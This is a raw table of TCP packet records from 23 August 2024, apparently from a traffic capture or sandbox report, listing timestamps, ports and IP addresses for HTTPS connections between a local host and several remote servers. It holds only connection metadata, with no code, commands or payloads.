Aug 23, 2024 16:21:55.670083046 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.670099020 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.670108080 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.670145988 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.673327923 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.673610926 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.673641920 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.673671961 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.673676014 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.673705101 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.673718929 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.673823118 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.673852921 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.673857927 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.673866987 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.673908949 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.673916101 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.674175978 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.674212933 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.674268961 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.692317963 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.692328930 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.692356110 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.732997894 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.739327908 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.785320044 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.793945074 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:55.794250965 CEST	49798	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:55.794260025 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:55.794581890 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:55.794960976 CEST	49798	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:55.795022964 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:55.795137882 CEST	49798	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:55.831923962 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.832151890 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.832175970 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.832230091 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.832284927 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.832353115 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.832370043 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.833108902 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.833173037 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.833189964 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.833230019 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.833259106 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.833277941 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.833292961 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.833357096 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.833498001 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.834114075 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.834192038 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.834206104 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.834300041 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.834336042 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.834358931 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.834374905 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.834419966 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.834939957 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.835143089 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.835171938 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.835194111 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.835225105 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.835298061 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.835804939 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.840509892 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:55.840790033 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.840907097 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.840931892 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.840955973 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.840967894 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.841002941 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.841258049 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.841300964 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.841346979 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.841355085 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.842195034 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.842222929 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.842243910 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.842251062 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.842279911 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.842304945 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.842308998 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.842318058 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.842344999 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.843077898 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.843142986 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.843149900 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.843307972 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.843358994 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.843365908 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.844043970 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.844069958 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.844094992 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.844104052 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.844147921 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.844213963 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.864387035 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.864433050 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.864474058 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.864593029 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.864654064 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.864662886 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.864671946 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.864778042 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.864805937 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.864830017 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.864837885 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.864882946 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.865526915 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.869417906 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.869446039 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.869493008 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.869501114 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.869544029 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.869554043 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.869683027 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.869719982 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.869723082 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.869731903 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.869770050 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.870455980 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.870502949 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.870548010 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.870556116 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.871234894 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.871301889 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.871309042 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.881314039 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.881324053 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.897434950 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.913429976 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.913439035 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.929347992 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.937264919 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.961340904 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.982825994 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.982873917 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.982923985 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.982933998 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.992321968 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.992336988 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.023332119 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.024730921 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.024827003 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.024853945 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.024880886 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.024888039 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.024909019 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.024920940 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.024939060 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.024967909 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.025330067 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.025392056 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.025398970 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.025439024 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.025446892 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.025460005 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.025487900 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.025520086 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.025546074 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.026032925 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.026098013 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.026246071 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.026324987 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.027014017 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.027081013 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.027174950 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.027231932 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.027915001 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.027977943 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.028122902 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.028177977 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.028871059 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.028935909 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.029022932 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.029078960 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.029124975 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.029181004 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.029808044 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.029874086 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.031230927 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.031260014 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.031301022 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.031311035 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.031325102 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.031342983 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.031511068 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.031538963 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.031554937 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.031562090 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.031600952 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.031608105 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.031759977 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.031796932 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.031805038 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.032208920 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.032233000 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.032239914 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.032258987 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.032265902 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.032309055 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.033324957 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.033332109 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.033380032 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.033551931 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.033601999 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.034373045 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.034431934 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.034502029 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.034547091 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.035444021 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.035501957 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.035590887 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.035619020 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.035641909 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.035648108 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.035672903 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.035691023 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.036273003 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.036334991 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.036382914 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.036474943 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.036495924 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.036508083 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.036541939 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.036947966 CEST	49801	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.037014961 CEST	443	49801	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.037143946 CEST	49801	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.037647009 CEST	49801	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.037687063 CEST	443	49801	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.044800043 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:56.044822931 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:56.044866085 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:56.044898033 CEST	49798	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:56.044910908 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:56.044929981 CEST	49798	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:56.046155930 CEST	49798	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:56.046190977 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:56.046247959 CEST	49798	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:56.052772045 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.052835941 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.052881956 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.053114891 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.053128004 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.053755999 CEST	49802	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.053791046 CEST	443	49802	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.053869963 CEST	49802	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.056415081 CEST	49802	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.056462049 CEST	443	49802	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.075470924 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:56.075515032 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:56.075584888 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:56.076198101 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:56.076214075 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:56.115695953 CEST	443	49795	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.115833044 CEST	443	49795	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.115897894 CEST	49795	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.116656065 CEST	49795	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.116683006 CEST	443	49795	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.117048025 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.117084026 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.117162943 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.117512941 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.117539883 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.119731903 CEST	49805	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.119759083 CEST	443	49805	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.119841099 CEST	49805	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.120098114 CEST	49805	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.120109081 CEST	443	49805	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.132869959 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.132953882 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.133013010 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.133028030 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.133080959 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.133734941 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.133754969 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.135479927 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.135513067 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.135574102 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.136027098 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.136040926 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.136511087 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.136579037 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.136607885 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.136630058 CEST	49796	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.136658907 CEST	49796	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.137624025 CEST	49807	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.137645006 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.137706041 CEST	49807	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.138237000 CEST	49807	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.138250113 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.138418913 CEST	49796	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.138431072 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.140017033 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.140043974 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.140105009 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.140259981 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.140275002 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.141521931 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.141537905 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.141619921 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.141782045 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.141793966 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.211997986 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.212073088 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.212111950 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.212136030 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.212196112 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.212327003 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.212346077 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.214936018 CEST	49810	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.214966059 CEST	443	49810	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.215032101 CEST	49810	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.215754986 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.215848923 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.215925932 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.216784000 CEST	49810	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.216799021 CEST	443	49810	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.216981888 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.216995001 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.506407976 CEST	443	49801	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.506644011 CEST	49801	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.506666899 CEST	443	49801	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.506983995 CEST	443	49801	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.509937048 CEST	49801	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.509999037 CEST	443	49801	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.510138988 CEST	49801	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.510163069 CEST	443	49801	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.522037983 CEST	443	49802	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.523369074 CEST	49802	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.523380041 CEST	443	49802	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.523696899 CEST	443	49802	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.525509119 CEST	49802	443	192.168.2.16	188.114.96.3
